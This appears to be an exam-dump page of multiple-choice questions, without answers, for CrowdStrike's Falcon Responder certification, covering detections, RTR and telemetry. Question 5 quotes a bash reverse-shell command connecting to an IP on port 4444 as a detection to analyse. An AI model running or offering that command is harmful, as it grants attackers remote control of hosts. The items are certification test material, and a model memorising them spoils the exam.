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Free and Premium CrowdStrike CCFR-201b Dumps Questions Answers

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Total 209 questions

CrowdStrike Certified Falcon Responder Questions and Answers

Question 1

The primary purpose for running a Hash Search is to:

Options:

A.

determine any network connections

B.

review the processes involved with a detection

C.

determine the origin of the detection

D.

review information surrounding a hash ' s related activity

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Question 2

What must be true about a custom script before it can be executed from within a Fusion SOAR Workflow?

Options:

A.

The Response Policy must allow for the execution of Workflows

B.

The script must exist on the host locally

C.

The script must contain input and output JSON fields

D.

The Share with workflows option must be enabled for the custom script

Question 3

During the incident response process, a responder must update the status of a detection. Which of the following options is NOT a valid detection status recognized by the Falcon console?

Options:

A.

New

B.

Complete

C.

In Progress

D.

True Positive

Question 4

If a local administrator needs to inspect the quarantine directory directly on a machine, where are quarantine files located on a Windows Endpoint?

Options:

A.

C:\Temp\CrowdStrike\Quarantine

B.

C:\Windows\System32\Drivers\CrowdStrike\Quarantine

C.

C:\Program Files\CrowdStrike\Quarantine

D.

C:\Users\Public\CrowdStrike\Quarantine

Question 5

Refer to the image.

Command line:

/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1

File path:

/bin/bash

You receive a detection on the Bash process indicating the command line in the image above.

Based on the command line, what is the next step you should take?

Options:

A.

Investigate the host for manipulation of the root folder

B.

Investigate the host for any Potentially Unwanted Programs (PUP)

C.

Investigate the host for an interactive remote terminal

D.

Investigate the host for developer activity

Question 6

A responder wants to include a visual representation of a process tree in an incident report. Which of the following is NOT a valid way to export process data from ' Full Detection Details ' ?

Options:

A.

Process Tree > PNG

B.

Process Tree > JPEG

C.

Detection > CSV

D.

Process Tree > JSON

Question 7

During a targeted investigation into a potentially compromised internal administrative account, a responder utilizes the User Search functionality within the Investigate menu. The goal is to identify if the account was leveraged to drop or launch unauthorized binaries across multiple systems in the environment. Which specific data category is natively visible in the User Search results to facilitate this check?

Options:

A.

Registry Key Operations

B.

Network File Transfer ports

C.

Unique Executables Written and Process Executions

D.

BIOS and Hardware modification logs

Question 8

An analyst notices a detection that has been automatically flagged with the ' New Activity ' status. Which of the following statements best describes what this status indicates?

Options:

A.

A brand new detection has been triggered on a host that was recently added to the network.

B.

A detection that was previously moved to a resolved status has generated new telemetry and activity.

C.

A user has logged into a machine for the first time since the sensor was installed.

D.

The Falcon Overwatch team has manually verified that the detection is an active threat.

Question 9

You are writing a script that your colleagues could run on any Windows machine using Real Time Response (RTR). The script you have written is over the 40-KB limit.

How should you run the script to avoid technical issues?

Options:

A.

Use the put command to place the script on the host and runscript -hostpath to run the script

B.

Break the script into multiple files under 40 KB and run each one sequentially with runscript -raw

C.

Use the put command to place the script on the host and runscript -cloudfile to run the script

D.

Use the runscript -cloudfile command to upload the script from your local machine and execute it directly

Question 10

In the Falcon console, detections can be automated or manual. Which of the following options represents a manual detection?

Options:

A.

A detection triggered by the Machine Learning engine.

B.

A Falcon Overwatch-pushed detection.

C.

A detection based on a Custom IOA.

D.

A detection matched against a known Intelligence IOC.

Question 11

What happens when a quarantined file is released?

Options:

A.

It is moved into theC:\CrowdStrike\Quarantine\Releasedfolder on the host

B.

It is allowed to execute on the host

C.

It is deleted

D.

It is allowed to execute on all hosts

Question 12

When using ' User Search ' to investigate a potentially compromised account, which of the following is NOT a filter available in the User Search?

Options:

A.

Username

B.

Hostname

C.

Process ID

D.

Time Range

Question 13

When navigating the main ' Detections ' page, several filters are available in the dropdown menu. Which of the following is NOT a filter available in this menu?

Options:

A.

Severity

B.

Tactic

C.

Location tag

D.

Status

Question 14

Responders often need to organize detections to identify trends across the environment. Which of the following is NOT a grouping option currently available on the ' Endpoint Detections ' page?

Options:

A.

Grouped by Process

B.

Grouped by Alert

C.

Grouped by File Path

D.

Grouped by Severity

Question 15

What is an advantage of using a Process Timeline?

Options:

A.

Process related events can be filtered to display specific event types

B.

Suspicious processes are color-coded based on their frequency and legitimacy over time

C.

Processes responsible for spikes in CPU performance are displayed overtime

D.

A visual representation of Parent-Child and Sibling process relationships is provided

Question 16

How does a DNSRequest event link to its responsible process?

Options:

A.

Via both its ContextProcessld__decimal and ParentProcessld_decimal fields

B.

Via its ParentProcessld_decimal field

C.

Via its ContextProcessld_decimal field

D.

Via its TargetProcessld_decimal field

Question 17

Host Search is a powerful investigation tool. From which of the following sources is a responder most likely to pivot directly to a Host Search?

Options:

A.

A global intelligence report about a new adversary.

B.

A specific detection that occurred on a particular host.

C.

The main settings menu of the Falcon console.

D.

The help documentation in the Support portal.

Question 18

A responder needs to view a high-level overview of the environment ' s security posture. Where can they find the ' Activity Dashboard ' ?

Options:

A.

Investigate > Activity Dashboard

B.

Endpoint Security > Monitor > Activity Dashboard

C.

Configuration > General > Activity Dashboard

D.

Support > Analytics > Activity Dashboard

Question 19

Filtering the ' Detection Activity ' report is useful for identifying specific threats. Which of the following filters can not be used on ' Detection Activity ' ?

Options:

A.

Severity

B.

Hash Value

C.

Detection Type

D.

Status

Question 20

What types of events are returned by a Process Timeline?

Options:

A.

Only detection events

B.

All cloudable events

C.

Only process events

D.

Only network events

Question 21

In the Hash Search tool, which of the following is listed under Process Executions?

Options:

A.

Operating System

B.

File Signature

C.

Command Line

D.

Sensor Version

Question 22

An attacker attaches cmd.exe as a debugger to osk.exe through a registry key.

What tactic and technique describe this activity?

Options:

A.

Persistence via Image File Execution Options Injection

B.

Post-Exploit via Malicious Tool Execution

C.

Persistence via External Remote Services

D.

Privilege Escalation via Bypass User Account Control

Question 23

Which of the following statements about the ' Detection Activity ' report is FALSE?

Options:

A.

It provides a summary of all alerts over a selected time period.

B.

It can be filtered by host name or severity.

C.

Clicking on a ProcessID value within the report pivots to a pre-populated Event Search.

D.

The report can be exported to a CSV file.

Question 24

A responder is looking at event telemetry and sees an event named ' ProcessRollup2 ' . Which sentence best describes what this event type represents?

Options:

A.

An existing process was terminated by the user.

B.

A new process was created and started on the endpoint.

C.

A process successfully established a network connection.

D.

A process modified a sensitive registry key.

Question 25

Which specific event type in the Falcon telemetry is associated with the creation of a new ' TargetProcessId_decimal ' ?

Options:

A.

ProcessRollup2

B.

FileCreation

C.

NetworkConnect

D.

RegistryUpdate

Question 26

Which statement is TRUE regarding the " Bulk Domains " search?

Options:

A.

It will show a list of computers and process that performed a lookup of any of the domains in your search

B.

The " Bulk Domains " search will allow you to blocklist your queried domains

C.

The " Bulk Domains " search will show IP address and port information for any associated connections D. You should only pivot to the " Bulk Domains " search tool after completing an investigation

Question 27

When viewing the summary list on the ' Endpoint Detections ' page, an analyst sees a column for the timestamp. What does the timestamp in this specific summary view represent?

Options:

A.

The exact time the Falcon sensor was first installed on the host.

B.

The timestamp of the last activity recorded for that specific detection.

C.

The time the detection was first assigned to a human analyst.

D.

The file creation time for the primary process involved in the alert.

Question 28

While reviewing the ' Detection Method ' field for a high-severity alert, a responder sees the label ' Post-Exploit ' . This terminology is used by CrowdStrike to identify a specific:

Options:

A.

Falcon Detection Method

B.

MITRE Tactic

C.

Indicator of Attack (IOA)

D.

Prevention Policy Level

Question 29

Which of the following sentences best describes the technical visibility provided by the ' Host Timeline ' view?

Options:

A.

A list of every time a user has logged in or out of the machine.

B.

Every host-relevant event (Process, File, Registry, Network) recorded in a given timeframe.

C.

A history of every hardware change or driver update on the endpoint.

D.

A log of every time the Falcon sensor was updated or restarted.

Question 30

When examining a raw DNS request event, you see a field called ContextProcessld_decimal. What is the purpose of that field?

Options:

A.

It contains the TargetProcessld_decimal value for other related events

B.

It contains an internal value not useful for an investigation

C.

It contains the ContextProcessld_decimal value for the parent process that made the DNS request

D.

It contains the TargetProcessld_decimal value for the process that made the DNS request

Question 31

To understand how a threat moved on a system, a responder must know the role of common processes. Which of the following statements best describes the standard functionality of explorer.exe?

Options:

A.

It is a system process responsible for the Local Security Authority subsystem.

B.

It is the primary process responsible for the File Explorer UI and the user ' s desktop environment.

C.

It is the Windows Command Processor used for executing batch files.

D.

It is the service control manager that handles the starting of background tasks.

Question 32

A responder is explaining the quarantine process to a system administrator. What happens technically when a file is quarantined by the Falcon sensor?

Options:

A.

It is deleted from the disk and a log is sent to the cloud.

B.

It is moved to the CrowdStrike Cloud and removed from the local host immediately.

C.

It is compressed, password protected, and moved to the Quarantine folder on the endpoint.

D.

It is renamed to a .tmp extension and moved to the Windows Recycle Bin.

Question 33

A responder is analyzing a process tree where a suspicious executable is listed as a direct child of services.exe. In this scenario, which source is most likely responsible for the execution?

Options:

A.

An interactive user login via RDP.

B.

A Windows Service or a process launched by the Service Control Manager.

C.

A web browser download initiated by the end user.

D.

A script executed directly from a removable USB drive.

Question 34

Which of the following is returned from the IP Search tool?

Options:

A.

IP Summary information from Falcon events containing the given IP

B.

Threat Graph Data for the given IP from Falcon sensors

C.

Unmanaged host data from system ARP tables for the given IP

D.

IP Detection Summary information for detection events containing the given IP

Question 35

Which of the following sentences best describes the primary use of the ' Hash Executions ' Search (Bulk Search)?

Options:

A.

It allows a responder to upload a file to the cloud for detonating in a sandbox.

B.

It allows for a summary view of the environment-wide presence of a given list of multiple hashes.

C.

It allows an administrator to block a single hash across all machines.

D.

It provides a detailed process tree for every execution of a single hash.

Question 36

You notice that taskeng.exe is one of the processes involved in a detection. What activity should you investigate next?

Options:

A.

User logons after the detection

B.

Executions of schtasks.exe after the detection

C.

Scheduled tasks registered prior to the detection

D.

Pivot to a Hash search for taskeng.exe

Question 37

An analyst needs to quickly view the activity surrounding a suspicious process. Which of the following sequences of steps will pivot to an auto-filled process timeline in the Falcon UI?

Options:

A.

Host Search > Processes and Services > Filename > Start Time > Process ID

B.

Activity Dashboard > Click Detection > Export to PDF

C.

Investigate > Bulk Search > Enter SHA256 > View Results

D.

Configuration > Host Groups > Select Host > Network History

Question 38

The MITRE-Based Falcon Detections Framework is a core component of the Falcon UI. What is the primary operational advantage provided by this framework to a Tier 1 responder?

Options:

A.

It allows for the automated decryption of files affected by ransomware.

B.

It provides a standardized view of the attack lifecycle to help understand adversary behavior.

C.

It enables the sensor to block kernel-level drivers from unknown publishers.

D.

It provides a real-time count of the total number of files on the endpoint.

Question 39

A responder needs to find a specific sequence of network connections that did not trigger a detection. Which search tool allows them to search for anything within the raw telemetry?

Options:

A.

Host Search

B.

Event Search

C.

Hash Search

D.

User Search

Question 40

Multiple detections with the process schtasks.exe begin to alert in the UI. The process executes the following command line on several unique hosts:

schtasks.exe /Query /TN " Qljsscdqr "

What is the most efficient way to identify which hosts are executing this scheduled task?

Options:

A.

Filter detections by command line and sort by ' Host:A to Z '

B.

Filter detections by command line and group by triggering file

C.

Filter detections by the triggering file and sort by ' Host:A to Z '

D.

Filter detections by command line and group by host

Question 41

Refer to the image.

You receive the detection displayed in the image above on a host in your environment.

Assuming you have the correct permissions, where would you navigate to remotely connect to the host and investigate further?

Options:

A.

Investigate > Connect to host

B.

View Incident > Connect to host

C.

Actions > Connect to host

Question 42

When reviewing CrowdScore Incidents, which of the following statements is INCORRECT?

Options:

A.

Incidents aggregate related detections to reduce alert fatigue.

B.

Incidents are defined as inactive after 10 hours pass without any new related activity.

C.

A high CrowdScore indicates a higher likelihood of a sophisticated or widespread attack.

D.

CrowdScore is only visible to users with the ' Falcon Administrator ' role.

Question 43

A list of managed and unmanaged neighbors for an endpoint can be found:

Options:

A.

by using Hosts page in the Investigate tool

B.

by reviewing " Groups " in Host Management under the Hosts page

C.

under " Audit " by running Sensor Visibility Exclusions Audit

D.

only by searching event data using Event Search

Question 44

What actions are available for domain name-based Indicators of Compromise (IOCs) in Falcon?

Options:

A.

Detect only

Allow

B.

Block

Detect only

Allow

C.

Block

Allow

No action

D.

Detect only

No action

Question 45

When reviewing open detections, what method should be used to identify the most relevant related information in the environment?

Options:

A.

Host Management grouping by host, organizational unit, or prevention policy

B.

Grouping detections by command line, host, hash, or triggering file

C.

Review the Detection Resolutions dashboard

D.

Sort detections by Time: Oldest to Newest

Question 46

In the ' User Search - File Written ' section, a responder can see various files dropped by a user. Which of the following file types CANNOT be seen from this view?

Options:

A.

Scripts (.ps1, .sh)

B.

Executables (.exe)

C.

Executions (Process starts)

D.

Archive files (.zip, .7z)

Question 47

What is an advantage of using the IP Search tool?

Options:

A.

IP searches provide manufacture and timezone data that can not be accessed anywhere else

B.

IP searches allow for multiple comma separated IPv6 addresses as input

C.

IP searches offer shortcuts to launch response actions and network containment on target hosts

D.

IP searches provide host, process, and organizational unit data without the need to write a query

Question 48

You have a folder with the path C:\Windows\BadTools.

Using native Real Time Response (RTR) commands, what is the correct syntax to remove the folder and all of its contents?

Options:

A.

remove " C:\Windows\BadTools " -all

B.

rm " C:\Windows\BadTools " -force

C.

rm " C:\Windows\BadTools " -rf

D.

remove " C:\Windows\BadTools " -f

Question 49

In the Falcon Overwatch Best Practice workflow, at what specific point is a responder encouraged to utilize OSINT (Open Source Intelligence) searches?

Options:

A.

During the ' Understand the detection ' phase.

B.

During the ' Understand process(es) involved ' phase.

C.

During the ' Examine what is normal for the system ' phase.

D.

After the incident has been fully remediated.

Question 50

To maintain a logical flow during an incident post-mortem, CrowdStrike recommends describing adversary activity using a specific three-part sentence structure. Which combination best completes this sentence: " The adversary was trying to [1], by [2] , using [3] " ?

Options:

A.

< Technique > , < Tactic > , < Objective >

B.

< Objective > , < Tactic > , < Technique >

C.

< Objective > , < Technique > , < Tactic >

D.

< Tactic > , < Objective > , < Technique >

Question 51

You are notified by a third-party that a program may have redirected traffic to a malicious domain. Which Falcon page will assist you in searching for any domain request information related to this notice?

Options:

A.

Falcon X

B.

Investigate

C.

Discover

D.

Spotlight

Question 52

Bulk Search tools have several features in common. Which of the following is incorrect as a feature common to all Bulk Search types?

Options:

A.

They allow for searching multiple items (up to 500) at once.

B.

Regular Expressions (Regex) are allowed within the search fields.

C.

Search results can be exported for further analysis.

D.

They search across historical telemetry in the cloud.

Question 53

CrowdStrike supports various deployment types. What is a ' POD sensor ' ?

Options:

A.

A sensor specifically designed for mobile devices (iOS/Android).

B.

A sensor that is installed directly on a Kubernetes or Docker host to monitor containers.

C.

A legacy sensor used only for disconnected or air-gapped systems.

D.

A physical appliance that sits on the network to monitor traffic.

Question 54

If the Falcon sensor identifies suspicious behavioral patterns—such as a process attempting to dump memory from lsass.exe—what specific type of detection will be generated?

Options:

A.

Indicator of Compromise (IOC)

B.

Indicator of Attack (IOA)

C.

Known Malware Alert

D.

Intelligence Data Match

Question 55

Following a detection involving a suspected ransomware binary, the Falcon sensor automatically takes a prevention action to prevent the file from executing. An analyst needs to retrieve this file for local sandbox analysis. Considering the default configuration, for how many days will this file remain stored in the encrypted quarantine folder on the local endpoint?

Options:

A.

7 days

B.

14 days

C.

30 days

D.

90 days

Question 56

When navigating the ' Custom IOA ' creation wizard, a user must select a rule type. Which of the following is NOT a valid IOA rule type available for selection?

Options:

A.

Process Creation

B.

File Creation

C.

Domain Name

D.

Scheduled Task

Question 57

When investigating system-level persistence, it is critical to know what the services.exe process is responsible for. What is its primary function?

Options:

A.

Managing user profiles and registry hives during login.

B.

Launching and managing the lifecycle of system services.

C.

Monitoring network traffic for potential data exfiltration.

D.

Providing a graphical interface for the Windows Task Manager.

Question 58

Which tool or search type is recommended as the " best search " to use when performing the " Examine what ' s normal for this system " step in an investigation?

Options:

A.

User Search

B.

Host Search

C.

Hash Search

D.

IP Search

Question 59

What happens when a hash is set to Always Block through IOC Management?

Options:

A.

Execution is prevented on all hosts by default

B.

Execution is prevented on selected host groups

C.

Execution is prevented and detection alerts are suppressed

D.

The hash is submitted for approval to be blocked from execution once confirmed by Falcon specialists

Question 60

Your lead analyst instructs you to dump the kernel memory of a Windows system using Real Time Response (RTR).

Which native RTR command best helps you to quickly achieve the task?

Options:

A.

CSWINDIAG

B.

dumpmem

C.

xmemdump

D.

memdump

Question 61

The Falcon console integrates heavily with the MITRE ATT AND CK framework to provide industry-standard context. Which of the following tactics displayed in the detection UI is a direct implementation of a MITRE ATT AND CK tactic?

Options:

A.

Malware Action

B.

Impact

C.

Intelligence-Based Match

D.

Script-Based Execution

Question 62

When reviewing a Host Timeline, which of the following filters is available?

Options:

A.

Severity

B.

Event Types

C.

User Name

D.

Detection ID

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Total 209 questions